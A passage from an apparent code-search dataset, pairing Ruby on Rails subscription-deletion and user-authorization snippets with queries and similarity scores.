format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def delete_webhook_subscription(id,opts={})\n query_param_keys = [\n \n\n ]\n\n form_param_keys = [\n \n\n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n\n )\n\n # resource path\n path = path_replace(\"/lti/subscriptions/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:delete, path, query_params, form_params, headers)\n response\n \n\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: (I18n.t :subscription_deleted) }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @subscription = Subscription.find(params[:id])\r\n @subscription.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to business_user_subscriptions_path }\r\n format.json { head :ok }\r\n end\r\n end", "def delete_subscription subscription\n subscriber.delete_subscription subscription: subscription_path(subscription)\n end", "def destroy \n Instagram.delete_subscription({:id => params[:id]})\n local_subscription = Subscription.find_by_original_id params[:id]\n local_subscription.destroy if local_subscription\n redirect_to :admin_subscriptions\n end", "def destroy\n @subscription = current_user.subscriptions.find(params[:id])\n\t\tmanga = Manga.find(@subscription.manga_id)\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to mangas_url, notice: 'Successfully unsubscribed to '+ manga.display_name.to_s}\n format.json { head :no_content }\n end\n end", "def destroy\n @service_subscription = ServiceSubscription.find(params[:id])\n @service_subscription.destroy\n \n redirect_to service_subscriptions_path\n\n # respond_to do |format|\n # format.html { redirect_to(service_subscriptions_url) }\n # format.xml { head :ok }\n # end\n end", "def destroy\n @subscription_type = SubscriptionType.find(params[:id])\n @subscription_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscription_types_url) }\n format.xml { head :ok }\n end\n end", "def delete(mirror=@mirror)\n result = client.execute(\n :api_method => mirror.subscriptions.delete,\n :parameters => { 'id' => collection })\n if result.error?\n puts \"An error occurred: #{result.data['error']['message']}\"\n end\n end", "def delete_subscription(entity)\r\n subscriptions.delete(entity)\r\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to campaign_subscriptions_path(@campaign) }\n format.json { head :no_content }\n end\n end", "def destroy!\n Dropio::Resource.client.delete_subscription(self)\n nil\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_subscription\n buyer = @current_user\n customer_id = buyer.stripe_customer_id\n customer = Stripe::Customer.retrieve(customer_id)\n subscription.delete\n render json: { message: 'Unsubscribed succesfully' }, status: 200\n end", "def destroy\n @subscription_history = SubscriptionHistory.find(params[:id])\n @subscription_history.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscription_histories_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to root_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @api_subscription.destroy\n respond_to do |format|\n format.html { redirect_to api_subscriptions_url, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to @subscription.transaction }\n format.json { head :no_content }\n end\n end", "def destroy\n @crytosubscription.destroy\n respond_to do |format|\n format.html { redirect_to crytosubscriptions_url, notice: 'Crytosubscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription_request = SubscriptionRequest.find(params[:id])\n @subscription_request.destroy\n\n respond_to do |format|\n format.html { redirect_to subscription_requests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @admin_subscription.destroy\n respond_to do |format|\n format.html { redirect_to admin_subscriptions_url, notice: 'L\\'abonnement a bien été créé supprimé.' }\n format.json { head :no_content }\n end\n end", "def unsubscribe\n email = Base64.decode64(params[:token])\n Subscription.where(email: email).destroy_all\n end", "def destroy\n @subscribe.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n\n @subscription.status = 'canceled'\n\n redirect_to subscriptions_path, notice: \"Your #{@subscription.category.name} subscription has been canceled.\"\n @subscription.save\n end", "def destroy\n @event_subscription.destroy\n head :no_content\n end", "def destroy_old\n\t\t@subscription = Subscription.find(params[:id])\n\t\t@subscription.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(subscriptions_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend", "def delete_subscription(account_id, subscription_id)\n delete(url_(\"subscription\", subscription_id))\n end", "def destroy\n transaction do\n clean\n connection.delete \"DELETE FROM user_subscriptions WHERE subscription_id = #{id}\"\n connection.delete \"DELETE FROM subscriptions WHERE id = #{id}\"\n end\n end", "def destroy\n\t @subscription = Subscription.find(params[:id])\n\t @subscription.remove if @subscription\n\n\t redirect_to plans_path\t \t\n\tend", "def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html { redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscriptions = []\n\n # query parameter with the ids of all the necessarily deleted subscriptions\n subscription_id_string = params[:subscription][:subscriptions]\n\n # converts the query parameter string into an array. Query parameter gets sent like this \"[1,2,3]\"\n all_ids = subscription_id_string[subscription_id_string.index(\"[\") + 1, subscription_id_string.index(\"]\") - 1].split(\",\")\n\n # for each id in the array of ids, find the Subscription with that id, add it to the array of deleted subscriptions\n # for the view, and then destroy the subscription\n all_ids.each do |id|\n this_subscription = Subscription.find(id)\n @subscriptions << this_subscription\n\n # decrement subscription count of corresponding dept/club/team\n if this_subscription.category == \"department\"\n dept = Department.find(this_subscription.subscribed_to)\n dept.subscriber_count -= 1\n dept.save\n elsif this_subscription.category == \"club\"\n club = Club.find(this_subscription.subscribed_to)\n club.subscriber_count -= 1\n club.save\n else\n team = AthleticTeam.find(this_subscription.subscribed_to)\n team.subscriber_count -= 1\n team.save\n end\n\n this_subscription.destroy\n end\n end", "def clear_subs\n instagram_client.subscriptions.each do |sub|\n instagram_client.delete_subscription(id: sub.id)\n end\n\n redirect_to list_subs_path\n end", "def destroy\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n auth!\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(screen_field_subscription_path(@screen, @field)) }\n format.xml { head :ok }\n format.js { head :ok }\n end\n end", "def delete_inbound_subscription(subscription_id)\n Response.new self.class.delete(\"/smsmessaging/inbound/subscriptions/#{subscription_id}\", :basic_auth => @auth, :headers => SMSIFIED_HTTP_HEADERS)\n end", "def destroy\n @newsletter_subscription = NewsletterSubscription.find(params[:id])\n @newsletter_subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to newsletter_subscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @panel_subscription = Panel::Subscription.find(params[:id])\n @panel_subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to(panel_subscriptions_url) }\n format.json { head :ok }\n end\n end", "def deletesubscriber\n\n\tparams[\"phone\"] = params[\"phone\"].gsub(\"\\s\",\"\").gsub(/^0044/, \"\").gsub(/^\\+44/, \"\")\n\tif params[\"phone\"].length == 10\n\t\tparams[\"phone\"] = '0' + params[\"phone\"]\n\tend\n\n\tif (Subscriber.exists?(:phone => params[:phone]))\n\t\tsubscriber = Subscriber.where(:phone => params[:phone]).first\n\t\tsubscriber.destroy\n\n\t\trespond_to do |format|\n\t\t format.html # deletesubscriber.html.erb\n\t\tend\n\telse\n\t\tredirect_to :action => \"unsubscribe\", phone: params[:phone]\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @owner = @subscription.owner\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to polymorphic_url([@owner, :subscriptions]) }\n format.json { head :no_content }\n end\n end", "def delete_webhook_subscription(id)\n\t\tputs \"Attempting to delete subscription for webhook: #{id}.\"\n\n\t\tif @api_tier == 'premium'\n\t\t\t@uri_path = \"#{@uri_path}/all/#{id}/subscriptions/all.json\"\n\t else\n\t\t\t@uri_path = \"#{@uri_path}/webhooks/#{id}/subscriptions.json\"\n\t\tend\n\n\t\tresponse = @twitter_api.make_delete_request(@uri_path)\n\n\t\tif response == '204'\n\t\t\tputs \"Webhook subscription for #{id} was successfully deleted.\"\n\t\telse\n\t\t\tputs response\n\t\tend\n\t\t\n\t\tresponse\n\tend", "def destroy\n @subscription.destroy\n return_back_or_ajax\n end", "def destroy\n @sub = Sub.find(params[:id])\n @sub.destroy\n\n respond_to do |format|\n format.html { redirect_to(subs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @email_newsletter_subscription.destroy\n respond_to do |format|\n format.html { redirect_to email_newsletter_subscriptions_url, notice: 'Email newsletter subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n targets = Subscription.where(ordinal: (@subscription.ordinal + 1)..Float::INFINITY)\n\n targets.each do |target|\n target.update(ordinal: target.ordinal - 1)\n end\n\n @subscription.destroy\n respond_to do |format|\n format.html { redirect_to owner_subscriptions_url(owner_id: @owner.id), notice: 'サブスクショップを削除しました' }\n format.json { head :no_content }\n end\n end", "def delete_subscription\n puts \"\\nWhich subscription would you like to delete?\"\n sport_given = gets.chomp\n\n sport = Sport.find_by(name: sport_given)\n subs = @user.subscriptions.find_by(user_id: @user.id, sport_id: sport.id)\n\n subs.destroy\n\n puts \"\\nYou just deleted your #{sport.name} subscription.\"\n end", "def destroy\n @unsubscription.destroy\n respond_to do |format|\n flash[:success] = \"Le traitement a bien été supprimé!\"\n format.html { redirect_to unsubscriptions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription = Subscription.find(params[:id])\n @subscription.destroy\n\n respond_to do |format|\n format.html {\n if request.referrer == subscription_url(@subscription)\n redirect_to session[:sub_delete_return_to]\n else\n redirect_to :back\n end\n }\n format.json { head :no_content }\n end\n end", "def destroy\n # First cancel the Stripe subscription\n\n @subscription.cancel_subscription(current_user.account)\n # Then destroy the subscription record\n @subscription.delete\n\n redirect_to subscriptions_url\n end", "def destroy\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to artist_subscription_path }\n format.json { head :ok }\n end\n end", "def destroy\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to account_subscribers_url(@account) }\n format.json { head :no_content }\n end\n end", "def destroy\n @list_subscription = ListSubscription.find(params[:id])\n @list_subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to list_subscriptions_url }\n format.json { head :no_content }\n end\n end", "def delete_webhook_subscription(subscription_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::DELETE,\n '/v2/webhooks/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def destroy\n # Удаляем подписки\n @subscriptions = Subscription.where(email: current_user.email)\n @subscriptions.each do |subscription|\n subscription.destroy\n end\n\n super\n end", "def destroy\n event = Subscription.find(params[:id]).event\n current_user.unsubscribe(event)\n redirect_to event\n end", "def destroy\n @subscribe.destroy\n respond_to do |format|\n format.html {redirect_to subscribes_url, notice: 'Subscribe was successfully destroyed.'}\n format.json {render json: @subscribe, status: :ok}\n end\n end", "def destroy\n return error_message(['Access denied'], 403) unless current_user?(@user)\n\n course = fetch_cache(Course, params[:id])\n @user.subscriptions_to_courses.destroy(course)\n render json: {status: 'Ok'}\n end", "def destroy\n @panel_subscription_transaction = Panel::SubscriptionTransaction.find(params[:id])\n @panel_subscription_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to(panel_subscription_transactions_url) }\n format.json { head :ok }\n end\n end", "def remove(address_or_id)\n delete(\"#{domain}/unsubscribes/#{address_or_id}\")\n end", "def destroy\n @category_subscription.destroy\n respond_to do |format|\n format.html { redirect_to admin_category_subscriptions_url, notice: 'Подписка на категорию была успешно удалена.' }\n format.json { head :no_content }\n end\n end", "def unsubscribe_subscriber(id)\n delete_json(\"#{endpoint}/subscribers/#{uri_encode(id)}\")\n end", "def unsubscribe_subscriber(id)\n delete_json(\"#{endpoint}/subscribers/#{uri_encode(id)}\")\n end", "def destroy\n\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @misuration_subscription.destroy\n respond_to do |format|\n format.html { redirect_to misuration_subscriptions_url, notice: 'Iscrizione al sensore eliminata correttamente' }\n format.json { head :no_content }\n end\n end", "def unsubscribe\n end", "def destroy\n @vendor_subscription.destroy\n respond_to do |format|\n format.html { redirect_to vendor_subscriptions_url, notice: 'Vendor subscription was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subscription_fu_log = SubscriptionFuLog.find(params[:id])\n @subscription_fu_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(subscription_fu_logs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @subscriber = Subscriber.find(params[:id])\n @subscriber.destroy\n\n respond_to do |format|\n format.html { redirect_to subscribers_url }\n format.json { head :no_content }\n end\n end", "def delete_subscription(subscription_id)\n @subscriptions.delete(subscription_id)\n @connections.delete(subscription_id).close\n end", "def test_deleting_cancels_in_gateway\n #Freemium.gateway.expects(:unstore).once.returns(nil)\n subscription = Factory(:paid_subscription)\n @paid_plan = subscription.subscription_plan\n subscription.destroy\n\n assert_changed(subscription.subscribable, :cancellation, @paid_plan, nil)\n end", "def destroy\n @product_subscription = ProductSubscription.find(params[:id])\n @product_subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to campaign_subscription_path(@product_subscription.subscription.campaign, @product_subscription.subscription) , :notice => 'Product subscription was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def remove_subscription_entry(name)\n\t\tend", "def destroy\n @can_sub = CanSub.find(params[:id])\n @can_sub.destroy\n\n respond_to do |format|\n format.html { redirect_to(can_subs_url) }\n format.xml { head :ok }\n end\n end", "def delete_outbound_subscription(sender_address)\n Response.new self.class.delete(\"/smsmessaging/outbound/subscriptions/#{sender_address}\", :basic_auth => @auth, :headers => SMSIFIED_HTTP_HEADERS)\n end", "def destroy\n @subscription_user.destroy\n respond_to do |format|\n format.html { redirect_to subscription_users_url, notice: 'Subscription user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def unsubscribe_from(topic)\n subscriptions.find_by_topic_id(topic.id).try(:destroy)\n end" ]
[ "0.7548857", "0.73906046", "0.7138068", "0.713801", "0.7084096", "0.7068341", "0.70394236", "0.69738996", "0.69690835", "0.68415743", "0.68415743", "0.68415743", "0.68415743", "0.682856", "0.6815658", "0.68120563", "0.68061584", "0.67701143", "0.67555594", "0.6751333", "0.6737316", "0.6732626", "0.6730946", "0.6710599", "0.6704795", "0.66887075", "0.66430163", "0.66392344", "0.66392344", "0.66392344", "0.66392344", "0.66392344", "0.66373473", "0.6609662", "0.6607891", "0.6603829", "0.6601182", "0.6582453", "0.6568181", "0.6551163", "0.65511435", "0.65474176", "0.65257215", "0.65160745", "0.6510339", "0.64804345", "0.6475314", "0.6457616", "0.64551806", "0.64551806", "0.64551806", "0.6439637", "0.64371556", "0.6436165", "0.6435701", "0.64312744", "0.64157283", "0.63872445", "0.6377432", "0.63380015", "0.6330539", "0.63260067", "0.63254666", "0.632037", "0.62908196", "0.6287463", "0.6280046", "0.62641305", "0.6261975", "0.62612736", "0.62610173", "0.62607956", "0.6259619", "0.6246145", "0.62448686", "0.623171", "0.6225675", "0.6222225", "0.6217088", "0.62069327", "0.6188885", "0.61706585", "0.61706585", "0.6168349", "0.61496174", "0.61485046", "0.6141864", "0.6129884", "0.6125696", "0.61256254", "0.61213356", "0.61139566", "0.611309", "0.6112281", "0.61099774", "0.60961455", "0.60873705", "0.6084267" ]
0.73187655
4
Check additional resource control for current_user
def load_additional_resource(url,type=0) # type = 0 => print, 1 => revise if url.present? authorize = authorize_url(url) if authorize == true user_group = UserGroup.find(current_user.try(:user_group_id)) menu_id = UserMenu.where(:url => url).first.try(:id) user_access = UserGroupUserMenu.where(:user_menu_id => menu_id.to_i, :user_group_id => user_group.id.to_i).last if user_access.present? if type.to_i == 0 # Print allow = user_access.can_print elsif type.to_i == 1 # Revise allow = user_access.can_revise else allow = false end else allow = false end else # raise CanCan::AccessDenied allow = false end else # raise CanCan::AccessDenied allow = false end return allow end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def define_eccept\n if current_user.info.id == @resource.id || can_manage_has_one(current_user.info, @resource, Info)\n true\n else\n redirect_to root_path\n end\n end", "def verify_current_user\n instance_variable_set '@' + resource_name, resource.find_by_id(params[:id])\n if resource_instance.nil?\n flash[:error] = \"Cannot find the requested record.\"\n redirect_to(action: 'index') && return\n else\n unless auth_user.is_a?(Parent) # Perhaps rule might change, so child could edit\n flash[:error] = \"You do not have permission to access this.\"\n redirect_to(action: 'index') && return\n else\n\n # Avoid hack to change address of someone else's\n if params[resource_param_name].is_a?(Hash)\n params[resource_param_name].delete(:user_id)\n params[resource_param_name].delete('user_id')\n end\n end\n end\n end", "def define_eccept\n if current_user.info.id==@resource.id || can_manage_has_one(current_user.info, @resource, @model)\n return true\n else\n redirect_to root_path \n end\n end", "def check_resource_ownership\n if admin_user.is_not_root?\n\n condition_typus_users = @item.respond_to?(Typus.relationship) && !@item.send(Typus.relationship).include?(admin_user)\n condition_typus_user_id = @item.respond_to?(Typus.user_foreign_key) && !admin_user.owns?(@item)\n\n not_allowed if (condition_typus_users || condition_typus_user_id)\n end\n end", "def is_resource_owner?(resource)\n current_user && current_user.id == resource.user_id\n end", "def check_if_user_can_perform_action_on_resources\n if @item && @item.is_a?(Typus.user_class)\n check_if_user_can_perform_action_on_user\n else\n not_allowed if admin_user.cannot?(params[:action], @resource.model_name)\n end\n end", "def user_check(resource)\n return true unless self[:name] == \"user\"\n return true unless self[:unless_system_user]\n\n resource[:audit] = :uid\n\n return false if system_users.include?(resource[:name])\n\n current_values = resource.retrieve_resource\n current_values[resource.property(:uid)] > self[:unless_system_user]\n end", "def check_current_user_owns\n head :not_found unless @user == current_user\n end", "def owner?(resource:)\n current_user.present? && resource&.user_id == current_user.id\n end", "def requested_by?(resource)\n user = resource.respond_to?(:owner) ? resource.owner : resource\n case\n when current_resource_owner.nil?\n false\n when !user.is_a?(current_resource_owner.class)\n false\n when current_resource_owner.id == user.id\n true\n else\n false\n end\n end", "def author_of(resource)\n member_signed_in? && current_member.id == resource.member_id\n end", "def check_api_access\n current_resource_owner&.can_use_api?\n end", "def has_resource_permission()\n resource = resource().find(params[:id])\n unless (current_user.admin? or current_user == resource)\n redirect_to(user_path(current_user), :alert => t(:permission_denied))\n end\n return true\n end", "def has_resource_permission()\n resource = resource().find(params[:id])\n unless (current_user.admin? or current_user == resource.user)\n render 'shared/403', :status => 403\n return false\n end\n return true\n end", "def object_owner_for_resource?(object)\n object.user == current_user\n end", "def acceptable_by?(user)\n return false unless user.has_role?(:admin, user.unit)\n resource.pending?\n end", "def visible_to?(resource)\n if self.visible || self.user_id == resource.id #|| assuming they have an ID\n true\n else\n false\n end\n end", "def appctrl_ensure_is_owner\n model = controller_name.camelize.singularize.constantize # :-)\n @item = model.find( params[ :id ] )\n\n if ( @item.user_id != current_user.id )\n render_optional_error_file( 401 ) unless current_user.is_admin?\n end\n end", "def readable_by?(user)\n user.in_session?(resource) || user.admin_for?(resource.course)\n end", "def manage?\n super || (@user && @user.is_curator?)\n end", "def current_user_required\n\t\t# Have to add \".filter(self)\" when not in before_filter line.\n\t\tCASClient::Frameworks::Rails::Filter.filter(self)\n\tend", "def permission_required \n render_403 unless admin? || @user == current_user\n end", "def owner?\n resource.user_id == current_user.id\n end", "def edit_authorized(current_user)\n return self.user_id == current_user.id\n end", "def edit_authorized(current_user)\n return self.user_id == current_user.id\n end", "def readable_by?(user)\n return true if user.has_role?(:admin, resource.unit)\n return true if user.has_role?(:wizard, resource.unit)\n user == resource\n end", "def check_access_control_all\n @user = User.find(params[:user_id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @user.id\n rescue\n response_access_denied\n end", "def check_if_user_can_perform_action_on_user\n is_current_user = (admin_user == @item)\n current_user_is_root = admin_user.is_root? && is_current_user\n\n case params[:action]\n when 'edit'\n # Edit other items is not allowed unless current user is root\n # and is not the current user.\n not_allowed if admin_user.is_not_root? && !is_current_user\n when 'toggle', 'destroy'\n not_allowed if admin_user.is_not_root? || current_user_is_root\n when 'update'\n # Admin can update himself except setting the status to false!. Other\n # users can update their profile as the attributes (role & status)\n # are protected.\n status_as_boolean = params[@object_name][:status] == \"1\" ? true : false\n\n status_changed = !(@item.status == status_as_boolean)\n role_changed = !(@item.role == params[@object_name][:role])\n\n root_changed_his_status_or_role = current_user_is_root && (status_changed || role_changed)\n not_root_tries_to_change_another_user = admin_user.is_not_root? && !is_current_user\n\n not_allowed if root_changed_his_status_or_role || not_root_tries_to_change_another_user\n end\n end", "def check_user_before_action\n @blog = Blog.find(params[:id])\n if (current_user != @blog.user) and (@blog.global == false)\n redirect_to({ action: \"index\" }, notice: \"You don't have sufficient permissions\")\n\n end\n end", "def authorized?(resource)\n return false unless self.active\n # return true if role_authorized?('superuser') \n #OPTIMIZE: DO WE WANT THIS? It causes you to have access to all departments in all controllers, no matter what your permissions are.\n \n # return permission_strings.include?(resource) #reduced performance\n return permission_strings_cached.include?(resource) #causes caching bug\n end", "def check_if_user_can_perform_action_on_resource\n resource = params[:controller].remove_prefix.camelize\n not_allowed if admin_user.cannot?(params[:action], resource, { :special => true })\n end", "def can_edit\n return current_user && (current_user.id == Integer(params[:id]) || current_user.is_admin)\n end", "def before_filter\n if current_user\n true\n end\n end", "def user_is_allowed(resource, action)\n if (!logged_in?)\n redirect_to \"/login?return_url=\" + URI.encode(request.fullpath)\n return\n end\n \n @user = logged_in_user\n if (!@user.is_allowed(resource, action))\n @error = \"You don't have permission to \" + action + \" \" + resource\n render :template => \"extras/error\"\n return false\n end\n \n return true \n end", "def current_user_resource\n resource = Resource.find_by_id(params[:id].to_i)\n if current_user.user_type == \"student\" && current_user.coach.nil?\n redirect_to user_path(@current_user)\n elsif current_user.id == resource.user_id || current_user.coach.id == resource.user_id\n true\n else\n redirect_to user_path(@current_user)\n end\n end", "def require_user_can_manage( object )\n\t\tunless ( object.user == @current_user ) || ( @current_site.admins.include? @current_user )\n\t\t\tfail \"Not your #{obj.class.to_s}\", :error\n\t\t\treturn false\n\t\tend\n\tend", "def user_action_on_resource_authorized\n end", "def resource_owner?\r\n race = current_user.races.find_by(id: params[:id])\r\n if race.nil?\r\n error_message = ErrorMessage.new('403', 'Användaren är inte resursens ägare.',\r\n \"Kan bara utföras av den som skapade resursen.\")\r\n render json: error_message, status: :forbidden\r\n end\r\n end", "def access action\n\t\tif current_user\n \treturn true\n else\n \treturn false\n end\n\n\tend", "def check_ownership \t\n \taccess_denied(:redirect => @check_ownership_of) unless current_user_owns?(@check_ownership_of)\n end", "def corresponding_user\n @user = User.find(params[:id])\n if current_user?(@user)\n else\n flash[:alert]= \"Resource is not Available\"\n redirect_to root_path\n end\n end", "def can_edit?(user)\n user == current_user\n end", "def inner_check(action, resource)\n false\n end", "def check_user_ownership\n if @question.user != current_user\n redirect_to(request.referrer || root_url, flash: { danger: 'You do not have permission to do that.' })\n end\n end", "def require_object_owner\n if User.find(params[:user_id]) != current_user\n flash[:error] = \"Sorry! Viewing not authorized.\"\n redirect_to :back\n end\n end", "def have_access?(resource)\n # Master User always have access to all\n return true if self.master?\n # cache the acl hash\n @have_access ||= {}\n # add some caching...\n @have_access[resource.to_s] ||= begin\n res = Resource.find_by_resource(resource)\n res.nil? || resource_ids.include?(res.id) || roles.any? { |r| r.resource_ids.include?(res.id) }\n end\n end", "def readable_by?(user)\n !resource.archived? || (user.is_admin? || is_mill?(user))\n end", "def authorized_to_edit?(recipe)\n current_user == recipe.user\n end", "def check_edit_rights(current_user, sample)\n true if current_user.id == sample.author_id && Time.now - sample.created_at < 3600 && current_user.baned == false\n end", "def show\n unless @formulary.user_id == current_user.id\n check_user_ability\n end\n end", "def updatable_by?(user)\n return false unless user.has_role?(:wizard, user.unit)\n !resource.mandatory? || !resource.accepted?\n end", "def ensure_user\n current_user? || deny_access('You must be logged in to perform this action.')\n end", "def check_user_rights\n if( params[:id] && !admin_authorized? )\n @bundle = Bundle.find(params[:id])\n if( ! @bundle.public )\n if( @bundle.created_by_user_id != @user.id )\n \t\t\t\trender :action => \"not_allowed\" \n end\n end\n end\n end", "def user_is_allowed(resource, action)\n if (!logged_in?)\n redirect_to \"/login?return_url=\" + URI.encode(request.fullpath)\n return false\n end\n \n @user = logged_in_user\n if (!@user.is_allowed(resource, action))\n @error = \"You don't have permission to \" + action + \" \" + resource\n @return_url = request.fullpath\n render :template => \"caboose/extras/error\"\n return false\n end\n \n return true \n end", "def current_user?\n \n end", "def action_allowed?\n current_user_has_ta_privileges?\n end", "def action_allowed?\n current_user_has_ta_privileges?\n end", "def modify?(current_user, request)\n if request.delete? || request.post? || request.put?\n case request.params[\"controller\"]\n when \"api/items\"\n user = request.post? ? List.find(request.params[\"list_id\"]).get_user : Item.find(request.params[\"id\"]).get_user\n return current_user == user\n when \"api/lists\"\n user = request.post? ? User.find(request.params[\"user_id\"]) : User.find(request.params[\"user_id\"])\n return current_user == user\n when \"api/users\"\n return true if request.post?\n user = User.find(request.params[\"id\"])\n return current_user == user\n else\n puts \"This api is not \"\n false\n end\n else\n true\n end\n true\n end", "def has_permission?\n return true if administrator?\n \n # Load the Model based on the controller name\n klass = self.controller_name.classify.constantize\n \n # Load the possible parent requested\n @parents = (klass.has_parent?) ? get_parents_from_request_params(klass, params) : nil\n \n # Load the resource requested\n if params[:id]\n if [\"index\", \"destroy\", \"update\"].include?(params[:action]) && klass.respond_to?(:in_set)\n @resource = klass.in_set(params[:id])\n @resource = @resource.first if @resource.size == 1\n else\n @resource = klass.find(params[:id])\n end\n end\n \n # Let's let the Model decide what is acceptable\n # NOTE: It is still the concrete controller's job to filter inaccessible resources (accessed via the index)!\n # This presumably happens in the with_parent named scope\n \n authorized = case params[:action]\n when \"edit\", \"update\"\n if !@resource.is_a?(Array)\n return @resource.updatable_by?(current_user, @parents) # this is 'returned' to authorized\n end\n \n verify_set_accessablility(@resource, :updatable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for update.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"destroy\" \n if !@resource.is_a?(Array)\n return @resource.deletable_by?(current_user, @parents)\n end\n \n verify_set_accessablility(@resource, :deletable_by?) do |unauthorized_ids|\n permission_denied(\n :status => :conflict,\n :message => \"#{unauthorized_ids.to_a.join(',')} is not available for deletion.\"\n ) if unauthorized_ids.size > 0\n end\n true # if it gets past verification, authorized is true\n \n when \"index\" then klass.indexable_by?(current_user, @parents)\n when \"new\", \"create\" then klass.creatable_by?(current_user, @parents)\n when \"show\" then @resource.readable_by?(current_user, @parents)\n else check_non_restful_route(current_user, klass, @resource, @parents)\n end\n \n permission_denied unless authorized\n \n #rescue NoMethodError => e\n # Misconfiguration: A RESTful_ACL specific method is missing.\n #raise_error(klass, e)\n #rescue\n # 